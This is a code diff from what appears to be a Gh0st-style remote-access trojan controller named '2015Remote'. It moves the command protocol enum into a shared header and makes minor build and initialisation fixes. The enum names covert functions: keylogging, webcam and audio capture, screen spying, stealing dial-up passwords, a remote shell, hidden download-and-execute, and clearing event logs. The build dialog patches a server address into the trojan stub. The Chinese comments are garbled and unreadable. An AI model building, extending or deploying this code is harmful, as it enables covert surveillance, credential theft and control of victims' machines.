+ COMMAND_REPLAY_HEARTBEAT, // ظ
+ COMMAND_SERVICES, //
+ COMMAND_REGEDIT,
+ COMMAND_TALK, // ʱϢ֤
+
+ // ˷ıʶ
+ TOKEN_AUTH = 100, // Ҫ֤
+ TOKEN_HEARTBEAT, //
+ TOKEN_LOGIN, // ߰
+ TOKEN_DRIVE_LIST, // б
+ TOKEN_FILE_LIST, // ļб
+ TOKEN_FILE_SIZE, // ļСļʱ
+ TOKEN_FILE_DATA, // ļ
+ TOKEN_TRANSFER_FINISH, //
+ TOKEN_DELETE_FINISH, // ɾ
+ TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ
+ TOKEN_GET_FILEDATA, // Զ̵õļ
+ TOKEN_CREATEFOLDER_FINISH, // ļ
+ TOKEN_DATA_CONTINUE, //
+ TOKEN_RENAME_FINISH, //
+ TOKEN_EXCEPTION, // 쳣
+
+ TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO
+ TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ
+ TOKEN_NEXTSCREEN, // Ļ鿴һͼ
+ TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ
+
+ TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER
+ TOKEN_WEBCAM_DIB, // ͷͼ
+
+ TOKEN_AUDIO_START, // ʼ
+ TOKEN_AUDIO_DATA, //
+
+ TOKEN_KEYBOARD_START, // ̼¼ʼ
+ TOKEN_KEYBOARD_DATA, // ̼¼
+
+ TOKEN_PSLIST, // б
+ TOKEN_WSLIST, // б
+ TOKEN_DIALUPASS, //
+ TOKEN_SHELL_START, // Զն˿ʼ
+ TOKEN_SERVERLIST, // б
+ COMMAND_SERVICELIST, // ˢ·б
+ COMMAND_SERVICECONFIG, // ˷ıʶ
+ TOKEN_TALK_START, // ʱϢʼ
+ TOKEN_TALKCMPLT, // ʱϢط
+ TOKEN_REGEDIT = 200, // ע
+ COMMAND_REG_FIND, // ע ʶ
+ TOKEN_REG_KEY,
+ TOKEN_REG_PATH,
+ COMMAND_BYE, // ض˳
+ SERVER_EXIT, // ض˳
+};
+
+// ӵسϢ
+typedef struct CONNECT_ADDRESS
+{
+ unsigned long dwFlag;
+ char szServerIP[_MAX_PATH];
+ int iPort;
+} CONNECT_ADDRESS ;
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index f1704b0..a6ade11 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -61,6 +61,7 @@
WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)
true
false
+ $(SolutionDir);%(AdditionalIncludeDirectories)
Windows
@@ -89,6 +90,7 @@
true
Size
true
+ $(SolutionDir);%(AdditionalIncludeDirectories)
Windows
@@ -134,6 +136,7 @@
+
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index df34650..cf142e3 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -13,12 +13,7 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
-struct CONNECT_ADDRESS
-{
- DWORD dwFlag;
- char szServerIP[MAX_PATH];
- int iPort;
-}g_ConnectAddress={0x1234567,"",0};
+CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0};
CBuildDlg::CBuildDlg(CWnd* pParent)
: CDialog(CBuildDlg::IDD, pParent)
diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp
index fcbb524..8138335 100644
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -170,7 +170,7 @@ END_MESSAGE_MAP()
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
{
- SHFILEINFO sfi;
+ SHFILEINFO sfi = {};
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
else
@@ -359,7 +359,7 @@ void CFileManagerDlg::FixedLocalDriveList()
m_list_local.SetItemData(nItem, 1);
if (lstrlen(FileSystem) == 0)
{
- SHFILEINFO sfi;
+ SHFILEINFO sfi = {};
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
}
@@ -467,7 +467,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
m_list_local.SetItemData(nItem, file.IsDirectory());
- SHFILEINFO sfi;
+ SHFILEINFO sfi = {};
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
@@ -1045,7 +1045,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{
// ImageList
- SHFILEINFO sfi;
+ SHFILEINFO sfi = {};
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
@@ -1097,7 +1097,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
- SHFILEINFO sfi;
+ SHFILEINFO sfi = {};
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
}
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index 61cbfbd..633ef72 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -5,6 +5,8 @@
#pragma once
+#include "common/commands.h"
+
// ʹѹ㷨㷨Ҫclienstdafx.hƥ
#define USING_COMPRESS 1
@@ -59,127 +61,6 @@
#include // Ϳؼ MFC ֧
-enum
-{
- // ļ䷽ʽ
- TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ
- TRANSFER_MODE_ADDITION, //
- TRANSFER_MODE_ADDITION_ALL, // ȫ
- TRANSFER_MODE_OVERWRITE, //
- TRANSFER_MODE_OVERWRITE_ALL, // ȫ
- TRANSFER_MODE_JUMP, //
- TRANSFER_MODE_JUMP_ALL, // ȫ
- TRANSFER_MODE_CANCEL, // ȡ
-
- // ƶ˷
- COMMAND_ACTIVED = 0x00, // ˿Լʼ
- COMMAND_LIST_DRIVE, // гĿ¼
- COMMAND_LIST_FILES, // гĿ¼еļ
- COMMAND_DOWN_FILES, // ļ
- COMMAND_FILE_SIZE, // ϴʱļС
- COMMAND_FILE_DATA, // ϴʱļ
- COMMAND_EXCEPTION, // ䷢쳣Ҫ´
- COMMAND_CONTINUE, //
- COMMAND_STOP, // ֹ
- COMMAND_DELETE_FILE, // ɾļ
- COMMAND_DELETE_DIRECTORY, // ɾĿ¼
- COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ
- COMMAND_CREATE_FOLDER, // ļ
- COMMAND_RENAME_FILE, // ļļ
- COMMAND_OPEN_FILE_SHOW, // ʾļ
- COMMAND_OPEN_FILE_HIDE, // شļ
-
- COMMAND_SCREEN_SPY, // Ļ鿴
- COMMAND_SCREEN_RESET, // ıĻ
- COMMAND_ALGORITHM_RESET, // ı㷨
- COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del
- COMMAND_SCREEN_CONTROL, // Ļ
- COMMAND_SCREEN_BLOCK_INPUT, // ˼
- COMMAND_SCREEN_BLANK, // ˺
- COMMAND_SCREEN_CAPTURE_LAYER, //
- COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼
- COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼
-
- COMMAND_WEBCAM, // ͷ
- COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪH263ѹ
- COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ
- COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ
- COMMAND_NEXT, // һ(ƶѾԻ)
-
- COMMAND_KEYBOARD, // ̼¼
- COMMAND_KEYBOARD_OFFLINE, // ̼¼
- COMMAND_KEYBOARD_CLEAR, // ̼¼
-
- COMMAND_AUDIO, //
-
- COMMAND_SYSTEM, // ϵͳ̣....
- COMMAND_PSLIST, // б
- COMMAND_WSLIST, // б
- COMMAND_DIALUPASS, //
- COMMAND_KILLPROCESS, // رս
- COMMAND_SHELL, // cmdshell
- COMMAND_SESSION, // Ựػע, жأ
- COMMAND_REMOVE, // жغ
- COMMAND_DOWN_EXEC, // - ִ
- COMMAND_UPDATE_SERVER, // - ظ
- COMMAND_CLEAN_EVENT, // - ϵͳ־
- COMMAND_OPEN_URL_HIDE, // - شҳ
- COMMAND_OPEN_URL_SHOW, // - ʾҳ
- COMMAND_RENAME_REMARK, // ע
- COMMAND_REPLAY_HEARTBEAT, // ظ
- COMMAND_SERVICES, //
- COMMAND_REGEDIT,
- COMMAND_TALK, // ʱϢ֤
-
- // ˷ıʶ
- TOKEN_AUTH = 100, // Ҫ֤
- TOKEN_HEARTBEAT, //
- TOKEN_LOGIN, // ߰
- TOKEN_DRIVE_LIST, // б
- TOKEN_FILE_LIST, // ļб
- TOKEN_FILE_SIZE, // ļСļʱ
- TOKEN_FILE_DATA, // ļ
- TOKEN_TRANSFER_FINISH, //
- TOKEN_DELETE_FINISH, // ɾ
- TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ
- TOKEN_GET_FILEDATA, // Զ̵õļ
- TOKEN_CREATEFOLDER_FINISH, // ļ
- TOKEN_DATA_CONTINUE, //
- TOKEN_RENAME_FINISH, //
- TOKEN_EXCEPTION, // 쳣
-
- TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO
- TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ
- TOKEN_NEXTSCREEN, // Ļ鿴һͼ
- TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ
-
-
- TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER
- TOKEN_WEBCAM_DIB, // ͷͼ
-
- TOKEN_AUDIO_START, // ʼ
- TOKEN_AUDIO_DATA, //
-
- TOKEN_KEYBOARD_START, // ̼¼ʼ
- TOKEN_KEYBOARD_DATA, // ̼¼
-
- TOKEN_PSLIST, // б
- TOKEN_WSLIST, // б
- TOKEN_DIALUPASS, //
- TOKEN_SHELL_START, // Զն˿ʼ
- TOKEN_SERVERLIST, // б
- COMMAND_SERVICELIST, // ˢ·б
- COMMAND_SERVICECONFIG, // ˷ıʶ
- TOKEN_TALK_START, // ʱϢʼ
- TOKEN_TALKCMPLT, // ʱϢط
- TOKEN_REGEDIT = 200, // ע
- COMMAND_REG_FIND, //ע ʶ
- TOKEN_REG_KEY,
- TOKEN_REG_PATH,
- COMMAND_BYE, // ض˳
- SERVER_EXIT, // ض˳
-};
-
#define WM_USERTOONLINELIST WM_USER + 3000
#define WM_OPENSCREENSPYDIALOG WM_USER + 3001